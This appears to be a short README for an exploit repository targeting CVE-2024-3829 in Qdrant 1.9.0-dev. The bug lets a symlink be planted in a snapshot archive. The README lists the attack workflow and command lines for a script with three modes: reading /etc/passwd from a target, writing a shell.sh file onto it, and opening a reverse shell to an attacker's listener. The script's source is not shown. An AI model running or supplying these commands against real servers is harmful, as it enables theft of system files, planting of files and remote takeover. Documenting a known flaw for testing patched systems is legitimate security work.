SECURITY2 MIN
CVE-2024-3829 Exploit for Qdrant
CVE-2024-3829 for Qdrant - Exploit
This repository documents and demonstrates CVE-2024-3829 for qdrant/qdrant (v1.9.0-dev)
Overview
The vulnerability allows manipulation of snapshot archives via symlink/path tricks. This enables two impact classes and a reverse shell:
- File read
- File write
- Execute reverse shell
Depending on the environment, file-write primitives may escalate toward code execution.
Affected Software
- Product: Qdrant
- Version:
1.9.0-dev - Component: Snapshot Import/Export
Workflow
- Create a collection
- Generate a snapshot
- Unpack and modify the snapshot locally
- Inject a symlink into the archive
- Upload the modified snapshot
- Trigger snapshot recovery
- Evaluate the result
Usage
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
Requirements
- Kali Linux recommended
- Python 3.10+
- Running Qdrant server for local testing
- Python package
requests